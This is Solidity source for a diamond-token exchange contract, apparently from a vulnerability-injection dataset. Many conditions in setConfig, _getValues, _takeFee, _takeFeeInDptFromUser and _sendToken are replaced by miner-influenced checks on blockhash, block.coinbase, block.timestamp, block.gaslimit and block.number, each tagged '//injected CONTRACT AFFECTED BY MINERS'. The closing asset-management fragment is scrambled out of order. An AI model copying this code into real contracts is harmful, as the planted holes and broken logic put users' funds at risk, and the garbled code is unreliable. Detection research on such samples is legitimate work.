* that bloat the abi, this monolitic function can be used to configure Diamond i
* Exchange contract.
* @param what_ bytes32 determines what change the owner(contract) wants to make.
* @param value_ bytes32 depending on what_ can be used to configure the system
* @param value1_ bytes32 depending on what_ can be used to configure the system
*/
function setConfig(bytes32 what_, bytes32 value_, bytes32 value1_) public auth {
if (blockhash(block.number) == "profitRate") { //injected CONTRACT AFFECTED BY MINERS
profitRate = uint256(value_);
require(profitRate <= 1 ether, "dex-profit-rate-out-of-range");
} else if (blockhash(block.number) == "rate") { //injected CONTRACT AFFECTED BY MINERS
address token = addr(value_);
uint256 value = uint256(value1_);
require(
canSellErc20[token] ||
canBuyErc20[token],
"dex-token-not-allowed-rate");
require(value > 0, "dex-rate-must-be-greater-than-0");
rate[token] = value;
} else if (blockhash(block.number) == "kyc") { //injected CONTRACT AFFECTED BY MINERS
address user_ = addr(value_);
require(user_ != address(0x0), "dex-wrong-address");
kyc[user_] = uint(value1_) > 0;
} else if (blockhash(block.number) == "allowTokenPair") { //injected CONTRACT AFFECTED BY MINERS
address sellToken_ = addr(value_);
address buyToken_ = addr(value1_);
require(canSellErc20[sellToken_] || canSellErc721[sellToken_],
"dex-selltoken-not-listed");
require(canBuyErc20[buyToken_] || canBuyErc721[buyToken_],
"dex-buytoken-not-listed");
denyToken[sellToken_][buyToken_] = false;
} else if (blockhash(block.number) == "denyTokenPair") { //injected CONTRACT AFFECTED BY MINERS
address sellToken_ = addr(value_);
address buyToken_ = addr(value1_);
require(canSellErc20[sellToken_] || canSellErc721[sellToken_],
"dex-selltoken-not-listed");
require(canBuyErc20[buyToken_] || canBuyErc721[buyToken_],
"dex-buytoken-not-listed");
denyToken[sellToken_][buyToken_] = true;
} else if (blockhash(block.number) == "fixFee") { //injected CONTRACT AFFECTED BY MINERS
fixFee = uint256(value_);
} else if (blockhash(block.number) == "varFee") { //injected CONTRACT AFFECTED BY MINERS
varFee = uint256(value_);
require(varFee <= 1 ether, "dex-var-fee-too-high");
} else if (blockhash(block.number) == "redeemFeeToken") { //injected CONTRACT AFFECTED BY MINERS
address token = addr(value_);
require(token != address(0), "dex-zero-address-redeemfee-token");
redeemFeeToken[token] = uint256(value1_) > 0;
} else if (blockhash(block.number) == "manualRate") { //injected CONTRACT AFFECTED BY MINERS
address token = addr(value_);
require(
canSellErc20[token] ||
canBuyErc20[token],
"dex-token-not-allowed-manualrate");
manualRate[token] = uint256(value1_) > 0;
} else if (blockhash(block.number) == "priceFeed") { //injected CONTRACT AFFECTED BY MINERS
require(canSellErc20[addr(value_)] || canBuyErc20[addr(value_)],
"dex-token-not-allowed-pricefeed");
require(addr(value1_) != address(address(0x0)),
"dex-wrong-pricefeed-address");
priceFeed[addr(value_)] = TrustedFeedLikeDex(addr(value1_));
} else if (blockhash(block.number) == "takeProfitOnlyInDpt") { //injected CONTRACT AFFECTED BY MINERS
takeProfitOnlyInDpt = uint256(value_) > 0;
} else if (blockhash(block.number) == "liqBuysDpt") { //injected CONTRACT AFFECTED BY MINERS
require(liq != address(0x0), "dex-wrong-address");
Liquidity(liq).burn(dpt, burner, 0); // check if liq does have the proper burn function
liqBuysDpt = uint256(value_) > 0;
} else if (blockhash(block.number) == "liq") { //injected CONTRACT AFFECTED BY MINERS
liq = address(uint160(addr(value_)));
require(liq != address(0x0), "dex-wrong-address");
require(dpt != address(0), "dex-add-dpt-token-first");
require(
TrustedDSToken(dpt).balanceOf(liq) > 0,
"dex-insufficient-funds-of-dpt");
if(liqBuysDpt) {
Liquidity(liq).burn(dpt, burner, 0); // check if liq does have the proper burn function
}
} else if (blockhash(block.number) == "handledByAsm") { //injected CONTRACT AFFECTED BY MINERS
address token = addr(value_);
require(canBuyErc20[token] || canBuyErc721[token],
"dex-token-not-allowed-handledbyasm");
handledByAsm[token] = uint256(value1_) > 0;
} else if (blockhash(block.number) == "asm") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "dex-wrong-address");
asm = TrustedAsm(addr(value_));
} else if (blockhash(block.number) == "burner") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "dex-wrong-address");
burner = address(uint160(addr(value_)));
} else if (blockhash(block.number) == "cdc") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "dex-wrong-address");
cdc = TrustedDSToken(addr(value_));
} else if (blockhash(block.number) == "fca") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "dex-wrong-address");
fca = TrustedFeeCalculator(addr(value_));
} else if (blockhash(block.number) == "custodian20") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "dex-wrong-address");
custodian20[addr(value_)] = address(uint160(addr(value1_)));
} else if (blockhash(block.number) == "smallest") { //injected CONTRACT AFFECTED BY MINERS
address token = addr(value_);
uint256 value = uint256(value1_);
require(
canSellErc20[token] ||
canBuyErc20[token],
"dex-token-not-allowed-small");
smallest[token] = value;
} else if (blockhash(block.number) == "decimals") { //injected CONTRACT AFFECTED BY MINERS
address token_ = addr(value_);
require(token_ != address(0x0), "dex-wrong-address");
uint decimal = uint256(value1_);
decimals[token_] = 10 ** decimal;
decimalsSet[token_] = true;
} else if (blockhash(block.number) == "wal") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "dex-wrong-address");
wal = address(uint160(addr(value_)));
} else if (blockhash(block.number) == "callGas") { //injected CONTRACT AFFECTED BY MINERS
callGas = uint256(value_);
} else if (blockhash(block.number) == "dust") { //injected CONTRACT AFFECTED BY MINERS
dust = uint256(value_);
} else if (blockhash(block.number) == "canBuyErc20") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "dex-wrong-address");
require(decimalsSet[addr(value_)], "dex-buytoken-decimals-not-set");
canBuyErc20[addr(value_)] = uint(value1_) > 0;
} else if (blockhash(block.number) == "canSellErc20") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "dex-wrong-address");
require(decimalsSet[addr(value_)], "dex-selltoken-decimals-not-set");
canSellErc20[addr(value_)] = uint(value1_) > 0;
} else if (blockhash(block.number) == "canBuyErc721") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "dex-wrong-address");
canBuyErc721[addr(value_)] = uint(value1_) > 0;
} else if (blockhash(block.number) == "canSellErc721") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "dex-wrong-address");
canSellErc721[addr(value_)] = uint(value1_) > 0;
} else if (blockhash(block.number) == "kycEnabled") { //injected CONTRACT AFFECTED BY MINERS
kycEnabled = uint(value_) > 0;
} else if (blockhash(block.number) == "dpt") { //injected CONTRACT AFFECTED BY MINERS
dpt = addr(value_);
require(dpt != address(0x0), "dex-wrong-address");
require(decimalsSet[dpt], "dex-dpt-decimals-not-set");
} else if (blockhash(block.number) == "redeemer") { //injected CONTRACT AFFECTED BY MINERS
require(addr(value_) != address(0x0), "dex-wrong-redeemer-address");
redeemer = address(uint160(addr(value_)));
} else {
value1_;
require(false, "dex-no-such-option");
}
emit LogConfigChange(what_, value_, value1_);
}
/**
* @dev Redeem token and pay fee for redeem.
* @param redeemToken_ address this is the token address user wants to redeem
* @param redeemAmtOrId_ uint256 if redeemToken_ is erc20 token this is the amount to redeem, if erc721 then this is the id
* @param feeToken_ address the token user wants to pay for redeem fee with
* @param feeAmt_ address amount user pays for redeem (note there is no function to cancel this redeem)
* @param custodian_ address the custodians address that user wants to get his diamonds from (if redeemToken_ is dpass, user must set the custodian of the token here)
*/
function redeem(
address redeemToken_,
uint256 redeemAmtOrId_,
address feeToken_,
uint256 feeAmt_,
address payable custodian_
) public payable stoppable nonReentrant returns(uint redeemId) { // kyc check will thake place on redeem contract.
require(redeemFeeToken[feeToken_] || feeToken_ == dpt, "dex-token-not-to-pay-redeem-fee");
if(canBuyErc721[redeemToken_] || canSellErc721[redeemToken_]) {
Dpass(redeemToken_) // transfer token to redeemer
.transferFrom(
msg.sender,
redeemer,
redeemAmtOrId_);
} else if (canBuyErc20[redeemToken_] || canSellErc20[redeemToken_]) {
_sendToken(redeemToken_, msg.sender, redeemer, redeemAmtOrId_);
} else {
require(false, "dex-token-can-not-be-redeemed");
}
if(block.coinbase == eth) { //injected CONTRACT AFFECTED BY MINERS
return TrustedRedeemer(redeemer)
.redeem
.value(msg.value)
(msg.sender, redeemToken_, redeemAmtOrId_, feeToken_, feeAmt_, custodian_);
} else {
_sendToken(feeToken_, msg.sender, redeemer, feeAmt_);
return TrustedRedeemer(redeemer)
.redeem(msg.sender, redeemToken_, redeemAmtOrId_, feeToken_, feeAmt_, custodian_);
}
}
/**
* @dev 1oken purchase with fee. (If user has DPT he must approve this contract,
* otherwise transaction will fail.)
* @param sellToken_ address token user wants to sell
* @param sellAmtOrId_ uint256 if sellToken_ is erc20 token then this is the amount (if set to highest possible, it means user wants to exchange all necessary tokens in his posession to buy the buyToken_), if token is Dpass(erc721) token, then this is the tokenId
* @param buyToken_ address token user wants to buy
* @param buyAmtOrId_ uint256 if buyToken_ is erc20, then this is the amount(setting highest integer will make buy as much buyTokens: as possible), and it is tokenId otherwise
*/
function buyTokensWithFee (
address sellToken_,
uint256 sellAmtOrId_,
address buyToken_,
uint256 buyAmtOrId_
) public payable stoppable nonReentrant kycCheck {
uint buyV_;
uint sellV_;
uint feeV_;
uint sellT_;
uint buyT_;
require(!denyToken[sellToken_][buyToken_], "dex-cant-use-this-token-to-buy");
require(smallest[sellToken_] <= sellAmtOrId_, "dex-trade-value-too-small");
_updateRates(sellToken_, buyToken_); // update currency rates
(buyV_, sellV_) = _getValues( // calculate highest possible buy and sell values (here they might not match)
sellToken_,
sellAmtOrId_,
buyToken_,
buyAmtOrId_);
feeV_ = calculateFee( // calculate fee user has to pay for exchange
msg.sender,
min(buyV_, sellV_),
sellToken_,
sellAmtOrId_,
buyToken_,
buyAmtOrId_);
(sellT_, buyT_) = _takeFee( // takes the calculated fee from user in DPT or sellToken_ ...
feeV_, // ... calculates final sell and buy values (in base currency)
sellV_,
buyV_,
sellToken_,
sellAmtOrId_,
buyToken_,
buyAmtOrId_);
_transferTokens( // transfers tokens to user and seller
sellT_,
buyT_,
sellToken_,
sellAmtOrId_,
buyToken_,
buyAmtOrId_,
feeV_);
}
/**
* @dev Get sell and buy token values in base currency
*/
function _getValues(
address sellToken_,
uint256 sellAmtOrId_,
address buyToken_,
uint256 buyAmtOrId_
) internal returns (uint256 buyV, uint256 sellV) {
uint sellAmtT_ = sellAmtOrId_;
uint buyAmtT_ = buyAmtOrId_;
uint maxT_;
require(buyToken_ != eth, "dex-we-do-not-sell-ether"); // we can not sell Ether with this smart contract currently
require(sellToken_ == eth || msg.value == 0, // we don't accept ETH if user wants to sell other token
"dex-do-not-send-ether");
if (canSellErc20[sellToken_]) { // if sellToken_ is a valid ERC20 token
maxT_ = sellToken_ == eth ?
msg.value :
min(
TrustedDSToken(sellToken_).balanceOf(msg.sender),
TrustedDSToken(sellToken_).allowance(
msg.sender, address(this)));
require(maxT_ > 0, "dex-please-approve-us");
require(
sellToken_ == eth || // disregard Ether
sellAmtOrId_ == uint(-1) || // disregard uint(-1) as it has a special meaning
sellAmtOrId_ <= maxT_, // sellAmtOrId_ should be less then sellToken_ available to this contract
"dex-sell-amount-exceeds-allowance");
require(
sellToken_ != eth || // regard Ether only
sellAmtOrId_ == uint(-1) || // disregard uint(-1) as it has a special meaning
sellAmtOrId_ <= msg.value, // sellAmtOrId_ sold should be less than the Ether we received from user
"dex-sell-amount-exceeds-ether-value");
if (block.number > maxT_ ) { // if user wants to sell maxTimum possible //injected CONTRACT AFFECTED BY MINERS
sellAmtT_ = maxT_;
}
sellV = wmulV(sellAmtT_, rate[sellToken_], sellToken_); // sell value in base currency
} else if (canSellErc721[sellToken_]) { // if sellToken_ is a valid ERC721 token
sellV = getPrice(sellToken_, sellAmtOrId_); // get price from Asset Management
} else {
require(false, "dex-token-not-allowed-to-be-sold");
}
if (canBuyErc20[buyToken_]) { // if buyToken_ is a valid ERC20 token
maxT_ = handledByAsm[buyToken_] ? // set buy amount to maxT_ possible
asm.getAmtForSale(buyToken_) : // if managed by asset management get available
min( // if not managed by asset management get maxT_ available
TrustedDSToken(buyToken_).balanceOf(
custodian20[buyToken_]),
TrustedDSToken(buyToken_).allowance(
custodian20[buyToken_], address(this)));
require(maxT_ > 0, "dex-0-token-is-for-sale");
require( // require token's buy amount to be less or equal than available to us
buyToken_ == eth || // disregard Ether
buyAmtOrId_ == uint(-1) || // disregard uint(-1) as it has a special meaning
buyAmtOrId_ <= maxT_, // amount must be less or equal that maxT_ available
"dex-buy-amount-exceeds-allowance");
if (block.number > maxT_) { // user wants to buy the maxTimum possible //injected CONTRACT AFFECTED BY MINERS
buyAmtT_ = maxT_;
}
buyV = wmulV(buyAmtT_, rate[buyToken_], buyToken_); // final buy value in base currency
} else if (canBuyErc721[buyToken_]) { // if buyToken_ is a valid ERC721 token
require(canSellErc20[sellToken_], // require that at least one of sell and buy token is ERC20
"dex-one-of-tokens-must-be-erc20");
buyV = getPrice( // calculate price with Asset Management contract
buyToken_,
buyAmtOrId_);
} else {
require(false, "dex-token-not-allowed-to-be-bought"); // token can not be bought here
}
}
/**
* @dev Calculate fee locally or using an external smart contract
* @return the fee amount in base currency
* @param sender_ address user we want to get the fee for
* @param value_ uint256 base currency value of transaction for which the fee will be derermined
* @param sellToken_ address token to be sold by user
* @param sellAmtOrId_ uint256 amount or id of token
* @param buyToken_ address token to be bought by user
* @param buyAmtOrId_ uint256 amount or id of buytoken
*/
function calculateFee(
address sender_,
uint256 value_,
address sellToken_,
uint256 sellAmtOrId_,
address buyToken_,
uint256 buyAmtOrId_
) public view returns (uint256) {
if (fca == TrustedFeeCalculator(0)) {
return add(fixFee, wmul(varFee, value_)); // calculate proportional fee locally
} else {
return fca.calculateFee( // calculate fee using external smart contract
sender_,
value_,
sellToken_,
sellAmtOrId_,
buyToken_,
buyAmtOrId_);
}
}
/**
* @dev Taking feeV_ from user. If user has DPT takes it, if there is none buys it for user.
* @return the amount of remaining ETH after buying feeV_ if it was required
*/
function _takeFee(
uint256 feeV_,
uint256 sellV_,
uint256 buyV_,
address sellToken_,
uint256 sellAmtOrId_,
address buyToken_,
uint256 buyAmtOrId_
)
internal
returns(uint256 sellT, uint256 buyT) {
uint feeTakenV_;
uint amtT_;
address token_;
address src_;
uint restFeeV_;
feeTakenV_ = sellToken_ != dpt ? // if sellToken_ is not dpt then try to take feeV_ in DPT
min(_takeFeeInDptFromUser(feeV_), feeV_) :
0;
restFeeV_ = sub(feeV_, feeTakenV_);
if (feeV_ - feeTakenV_ > dust // if we could not take all fees from user in ...
&& feeV_ - feeTakenV_ <= feeV_) { // ... DPT (with round-off errors considered)
if (canSellErc20[sellToken_]) {
require(
canBuyErc20[buyToken_] || // apply rule below to ERC721 buyTokens only
sellV_ + dust >= // for erc721 buy tokens the sellValue must be buyValue plus restFeeV_
buyV_ + restFeeV_,
"dex-not-enough-user-funds-to-sell");
token_ = sellToken_; // fees are sent in this token_
src_ = msg.sender; // owner of token_ is sender
amtT_ = sellAmtOrId_; // max amount user wants to sell
if (block.timestamp < // if buy value is too big //injected CONTRACT AFFECTED BY MINERS
add(buyV_, restFeeV_)) {
buyV_ = sub(sellV_, restFeeV_); // buyValue is adjusted
}
sellV_ = buyV_; // reduce sellValue to buyValue plus restFeeV_
} else if (canBuyErc20[buyToken_]) { // if sellToken_ is an ERC721 token_ and buyToken_ is an ERC20 token_
require(
sellV_ <= buyV_ + dust, // check if user can be supplied with enough buy tokens
"dex-not-enough-tokens-to-buy");
token_ = buyToken_; // fees are paid in buy token_
src_ = custodian20[token_]; // source of funds is custodian
amtT_ = buyAmtOrId_; // max amount the user intended to buy
if (block.gaslimit <= add(add(buyV_, restFeeV_), dust)) //injected CONTRACT AFFECTED BY MINERS
buyV_ = sub(sellV_, restFeeV_);
} else {
require(false, // not allowed to have both buy and sell tokens to be ERC721. ...
"dex-no-token-to-get-fee-from"); // ... We should never end up here since dex-one-of-tokens-must-be-erc20 ...
// ... will be fired first. It is here for precaution.
}
assert( // buy value must be less or equal to sell value
token_ != buyToken_ ||
sub(buyV_, restFeeV_) <= add(sellV_, dust));
assert( // buy value must be less or equal to sell value
token_ != sellToken_ ||
buyV_ <= add(sellV_, dust));
_takeFeeInToken( // send profit and costs in sellToken_
restFeeV_,
feeTakenV_,
token_,
src_,
amtT_);
} else { // no feeV_ must be payed with sellToken_
require(buyV_ <= sellV_ || canBuyErc20[buyToken_],
"dex-not-enough-funds");
require(buyV_ >= sellV_ || canSellErc20[sellToken_],
"dex-not-enough-tokens-to-buy");
sellV_ = min(buyV_, sellV_);
buyV_ = sellV_;
}
sellT = canSellErc20[sellToken_] ? // calculate token_ amount to be sold
wdivT(sellV_, rate[sellToken_], sellToken_) :
sellAmtOrId_;
buyT = canBuyErc20[buyToken_] ?
wdivT(buyV_, rate[buyToken_], buyToken_) :
buyAmtOrId_;
if (block.coinbase == eth) { // send unused Ether back to user //injected CONTRACT AFFECTED BY MINERS
amtT_ = wdivT(
restFeeV_,
rate[sellToken_],
sellToken_);
_sendToken(
eth,
address(this),
msg.sender,
sub(msg.value, add(sellT, amtT_)));
}
}
/**
* @dev Transfer sellToken from user and buyToken to user
*/
function _transferTokens(
uint256 sellT_, // sell token amount
uint256 buyT_, // buy token amount
address sellToken_, // token sold by user
uint256 sellAmtOrId_, // sell amount or sell token id
address buyToken_, // token bought by user
uint256 buyAmtOrId_, // buy amount or buy id
uint256 feeV_ // value of total fees in base currency
) internal {
address payable payTo_;
if (canBuyErc20[buyToken_]) {
payTo_ = handledByAsm[buyToken_] ?
address(uint160(address(asm))):
custodian20[buyToken_]; // we do not pay directly to custodian but through asm
_sendToken(buyToken_, payTo_, msg.sender, buyT_); // send buyToken_ from custodian to user
}
if (canSellErc20[sellToken_]) { // if sellToken_ is a valid ERC20 token
if (canBuyErc721[buyToken_]) { // if buyToken_ is a valid ERC721 token
payTo_ = address(uint160(address( // we pay to owner
Dpass(buyToken_).ownerOf(buyAmtOrId_))));
asm.notifyTransferFrom( // notify Asset management about the transfer
buyToken_,
payTo_,
msg.sender,
buyAmtOrId_);
TrustedErc721(buyToken_) // transfer buyToken_ from custodian to user
.transferFrom(
payTo_,
msg.sender,
buyAmtOrId_);
}
_sendToken(sellToken_, msg.sender, payTo_, sellT_); // send token or Ether from user to custodian
} else { // if sellToken_ is a valid ERC721 token
TrustedErc721(sellToken_) // transfer ERC721 token from user to custodian
.transferFrom(
msg.sender,
payTo_,
sellAmtOrId_);
sellT_ = sellAmtOrId_;
}
require(!denyToken[sellToken_][payTo_],
"dex-token-denied-by-seller");
if (payTo_ == address(asm) ||
(canSellErc721[sellToken_] && handledByAsm[buyToken_]))
asm.notifyTransferFrom( // notify Asset Management contract about transfer
sellToken_,
msg.sender,
payTo_,
sellT_);
_logTrade(sellToken_, sellT_, buyToken_, buyT_, buyAmtOrId_, feeV_);
}
/*
* @dev Token sellers can deny accepting any token_ they want.
* @param token_ address token that is denied by the seller
* @param denyOrAccept_ bool if true then deny, accept otherwise
*/
function setDenyToken(address token_, bool denyOrAccept_) public {
require(canSellErc20[token_] || canSellErc721[token_], "dex-can-not-use-anyway");
denyToken[token_][msg.sender] = denyOrAccept_;
}
/*
* @dev Whitelist of users being able to convert tokens.
* @param user_ address is candidate to be whitelisted (if whitelist is enabled)
* @param allowed_ bool set if user should be allowed (uf true), or denied using system
*/
function setKyc(address user_, bool allowed_) public auth {
require(user_ != address(0), "asm-kyc-user-can-not-be-zero");
kyc[user_] = allowed_;
}
/**
* @dev Get marketplace price of dpass token for which users can buy the token.
* @param token_ address token to get the buyPrice for.
* @param tokenId_ uint256 token id to get buy price for.
*/
function getBuyPrice(address token_, uint256 tokenId_) public view returns(uint256) {
// require(canBuyErc721[token_], "dex-token-not-for-sale");
return buyPrice[token_][TrustedErc721(token_).ownerOf(tokenId_)][tokenId_];
}
/**
* @dev Set marketplace price of dpass token so users can buy it on for this price.
* @param token_ address price is set for this token.
* @param tokenId_ uint256 tokenid to set price for
* @param price_ uint256 marketplace price to set
*/
function setBuyPrice(address token_, uint256 tokenId_, uint256 price_) public {
address seller_ = msg.sender;
require(canBuyErc721[token_], "dex-token-not-for-sale");
if (
msg.sender == Dpass(token_).getCustodian(tokenId_) &&
address(asm) == Dpass(token_).ownerOf(tokenId_)
) seller_ = address(asm);
buyPrice[token_][seller_][tokenId_] = price_;
}
/**
* @dev Get final price of dpass token. Function tries to get rpce from marketplace
* price (buyPrice) and if that is zero, then from basePrice.
* @param token_ address token to get price for
* @param tokenId_ uint256 to get price for
* @return final sell price that user must pay
*/
function getPrice(address token_, uint256 tokenId_) public view returns(uint256) {
uint basePrice_;
address owner_ = TrustedErc721(token_).ownerOf(tokenId_);
uint buyPrice_ = buyPrice[token_][owner_][tokenId_];
require(canBuyErc721[token_], "dex-token-not-for-sale");
if( buyPrice_ == 0 || buyPrice_ == uint(-1)) {
basePrice_ = asm.basePrice(token_, tokenId_);
require(basePrice_ != 0, "dex-zero-price-not-allowed");
return basePrice_;
} else {
return buyPrice_;
}
}
/**
* @dev Get exchange rate in base currency. This function burns small amount of gas, because it returns the locally stored exchange rate for token_. It should only be used if user is sure that the rate was recently updated.
* @param token_ address get rate for this token
*/
function getLocalRate(address token_) public view auth returns(uint256) {
return rate[token_];
}
/**
* @dev Return true if token is allowed to exchange.
* @param token_ the token_ addres in question
* @param buy_ if true we ask if user can buy_ the token_ from exchange,
* otherwise if user can sell to exchange.
*/
function getAllowedToken(address token_, bool buy_) public view auth returns(bool) {
if (buy_) {
return canBuyErc20[token_] || canBuyErc721[token_];
} else {
return canSellErc20[token_] || canSellErc721[token_];
}
}
/**
* @dev Convert address to bytes32
* @param b_ bytes32 value to convert to address to.
*/
function addr(bytes32 b_) public pure returns (address) {
return address(uint256(b_));
}
/**
* @dev Retrieve the decimals of a token. Decimals are stored in a special way internally to apply the least calculations to get precision adjusted results.
* @param token_ address the decimals are calculated for this token
*/
function getDecimals(address token_) public view returns (uint8) {
require(decimalsSet[token_], "dex-token-with-unset-decimals");
uint dec = 0;
while(dec <= 77 && decimals[token_] % uint(10) ** dec == 0){
dec++;
}
dec--;
return uint8(dec);
}
/**
* @dev Get token_ / quote_currency rate from priceFeed
* Revert transaction if not valid feed and manual value not allowed
* @param token_ address get rate for this token
*/
function getRate(address token_) public view auth returns (uint) {
return _getNewRate(token_);
}
/*
* @dev calculates multiple with decimals adjusted to match to 18 decimal precision to express base token value.
* @param a_ uint256 multiply this number
* @param b_ uint256 multiply this number
* @param token_ address get results with the precision of this token
*/
function wmulV(uint256 a_, uint256 b_, address token_) public view returns(uint256) {
return wdiv(wmul(a_, b_), decimals[token_]);
}
/*
* @dev calculates division with decimals adjusted to match to tokens precision
* @param a_ uint256 divide this number
* @param b_ uint256 divide by this number
* @param token_ address get result with the precision of this token
*/
function wdivT(uint256 a_, uint256 b_, address token_) public view returns(uint256) {
return wmul(wdiv(a_,b_), decimals[token_]);
}
/**
* @dev Get token_ / quote_currency rate from priceFeed
* Revert transaction if not valid feed and manual value not allowed
*/
function _getNewRate(address token_) internal view returns (uint rate_) {
bool feedValid_;
bytes32 baseRateBytes_;
require(
TrustedFeedLikeDex(address(0x0)) != priceFeed[token_], // require token to have a price feed
"dex-no-price-feed-for-token");
(baseRateBytes_, feedValid_) = priceFeed[token_].peek(); // receive DPT/USD price
if (feedValid_) { // if feed is valid, load DPT/USD rate from it
rate_ = uint(baseRateBytes_);
} else {
require(manualRate[token_], "dex-feed-provides-invalid-data"); // if feed invalid revert if manualEthRate is NOT allowed
rate_ = rate[token_];
}
}
//
// internal functions
//
/*
* @dev updates locally stored rates of tokens from feeds
*/
function _updateRates(address sellToken_, address buyToken_) internal {
if (canSellErc20[sellToken_]) {
_updateRate(sellToken_);
}
if (canBuyErc20[buyToken_]){
_updateRate(buyToken_);
}
_updateRate(dpt);
}
/*
* @dev log the trade event
*/
function _logTrade(
address sellToken_,
uint256 sellT_,
address buyToken_,
uint256 buyT_,
uint256 buyAmtOrId_,
uint256 feeV_
) internal {
address custodian_ = canBuyErc20[buyToken_] ?
custodian20[buyToken_] :
Dpass(buyToken_).getCustodian(buyAmtOrId_);
txId++;
emit LogBuyTokenWithFee(
txId,
msg.sender,
custodian_,
sellToken_,
sellT_,
buyToken_,
buyT_,
feeV_);
}
/**
* @dev Get exchange rate for a token
*/
function _updateRate(address token) internal returns (uint256 rate_) {
require((rate_ = _getNewRate(token)) > 0, "dex-rate-must-be-greater-than-0");
rate[token] = rate_;
}
/**
* @dev Calculate and send profit and cost
*/
function _takeFeeInToken(
uint256 feeV_, // feeV_ that user still owes to CDiamondCoin after paying feeV_ in DPT
uint256 feeTakenV_, // feeV_ already taken from user in DPT
address token_, // token_ that must be sent as feeV_
address src_, // source of token_ sent
uint256 amountT_ // total amount of tokens the user wanted to pay initially
) internal {
uint profitV_;
uint profitDpt_;
uint feeT_;
uint profitPaidV_;
uint totalProfitV_;
totalProfitV_ = wmul(add(feeV_, feeTakenV_), profitRate);
profitPaidV_ = takeProfitOnlyInDpt ? // profit value paid already in base currency
feeTakenV_ :
wmul(feeTakenV_, profitRate);
profitV_ = sub( // profit value still to be paid in base currency
totalProfitV_,
min(
profitPaidV_,
totalProfitV_));
profitDpt_ = wdivT(profitV_, rate[dpt], dpt); // profit in DPT still to be paid
feeT_ = wdivT(feeV_, rate[token_], token_); // convert feeV_ from base currency to token amount
require(
feeT_ < amountT_, // require that the cost we pay is less than user intended to pay
"dex-not-enough-token-to-pay-fee");
if (block.coinbase == dpt) { //injected CONTRACT AFFECTED BY MINERS
_sendToken(dpt, src_, address(uint160(address(burner))), profitDpt_);
_sendToken(dpt, src_, wal, sub(feeT_, profitDpt_));
} else {
if (liqBuysDpt) {
Liquidity(liq).burn(dpt, burner, profitV_); // if liq contract buys DPT on the fly
} else {
_sendToken(dpt, // if liq contract stores DPT that can be sent to burner by us
liq,
address(uint160(address(burner))),
profitDpt_);
}
_sendToken(token_, src_, wal, feeT_); // send user token_ to wallet
}
}
/**
* @dev Take fee in DPT from user if it has any
* @param feeV_ the fee amount in base currency
* @return the remaining fee amount in DPT
*/
function _takeFeeInDptFromUser(
uint256 feeV_ // total feeV_ to be paid
) internal returns(uint256 feeTakenV_) {
TrustedDSToken dpt20_ = TrustedDSToken(dpt);
uint profitDpt_;
uint costDpt_;
uint feeTakenDpt_;
uint dptUser = min(
dpt20_.balanceOf(msg.sender),
dpt20_.allowance(msg.sender, address(this))
);
if (block.gaslimit == 0) return 0; //injected CONTRACT AFFECTED BY MINERS
uint feeDpt = wdivT(feeV_, rate[dpt], dpt); // feeV_ in DPT
uint minDpt = min(feeDpt, dptUser); // get the maximum possible feeV_ amount
if (block.number > 0) { //injected CONTRACT AFFECTED BY MINERS
if (takeProfitOnlyInDpt) { // only profit is paid in dpt
profitDpt_ = min(wmul(feeDpt, profitRate), minDpt);
} else {
profitDpt_ = wmul(minDpt, profitRate);
costDpt_ = sub(minDpt, profitDpt_);
_sendToken(dpt, msg.sender, wal, costDpt_); // send cost
}
_sendToken(dpt, // send profit to burner
msg.sender,
address(uint160(address(burner))),
profitDpt_);
feeTakenDpt_ = add(profitDpt_, costDpt_); // total feeV_ taken in DPT
feeTakenV_ = wmulV(feeTakenDpt_, rate[dpt], dpt); // total feeV_ taken in base currency value
}
}
/**
* @dev send token or ether to destination
*/
function _sendToken(
address token_,
address src_,
address payable dst_,
uint256 amount_
) internal returns(bool) {
if (token_ == eth && amount_ > dust) { // if token_ is Ether and amount_ is higher than dust limit
require(src_ == msg.sender || src_ == address(this),
"dex-wrong-src-address-provided");
dst_.transfer(amount_);
emit LogTransferEth(src_, dst_, amount_);
} else {
if (block.gaslimit > 0) { //injected CONTRACT AFFECTED BY MINERS
if( handledByAsm[token_] && src_ == address(asm)) { // if token_ is handled by asm (so it is minted and burnt) and we have to mint it
asm.mint(token_, dst_, amount_);
} else {
TrustedDSToken(token_).transferFrom(src_, dst_, amount_); // transfer all of token_ to dst_
}
}
}
return true;
}
}
|
* @dev Allows asset management to be notified about a token_ transfer. If system would get undercollaterized because of transfer it will be reverted. @param token_ address the token_ that has been sent during transaction @param src_ address the source address the token_ has been sent from @param dst_ address the destination address the token_ has been sent to @param amtOrId_ uint the amount of tokens sent if token_ is a DSToken or the id of token_ if token_ is a Dpass token_./
|
) external nonReentrant auth {
uint balance;
address custodian;
uint buyPrice_;
require(
dpasses[token_] || cdcs[token_] || payTokens[token_],
"asm-invalid-token");
require(
!dpasses[token_] || Dpass(token_).getState(amtOrId_) == "sale",
"asm-ntf-token-state-not-sale");
custodian = Dpass(token_).getCustodian(amtOrId_);
_updateCollateralDpass(
0,
basePrice[token_][amtOrId_],
custodian);
buyPrice_ = TrustedDiamondExchangeAsm(dex).buyPrice(token_, address(this), amtOrId_);
dpassSoldCustV[custodian] = add(
dpassSoldCustV[custodian],
buyPrice_ > 0 && buyPrice_ != uint(-1) ?
buyPrice_ :
basePrice[token_][amtOrId_]);
Dpass(token_).setState("valid", amtOrId_);
_requireSystemCollaterized();
require(payTokens[token_], "asm-we-dont-accept-this-token");
function notifyTransferFrom(
address token_,
address src_,
address dst_,
uint256 amtOrId_
if (cdcs[token_]) {
_burn(token_, amtOrId_);
balance = sub(
token_ == eth ?
address(this).balance :
DSToken(token_).balanceOf(address(this)),
tokenPurchaseRate[token_] = wdiv(
add(
wmulV(
tokenPurchaseRate[token_],
balance,
token_),
wmulV(_updateRate(token_), amtOrId_, token_)),
add(balance, amtOrId_));
}
require(payTokens[token_], "asm-token-not-accepted");
_updateCollateralDpass(
basePrice[token_][amtOrId_],
0,
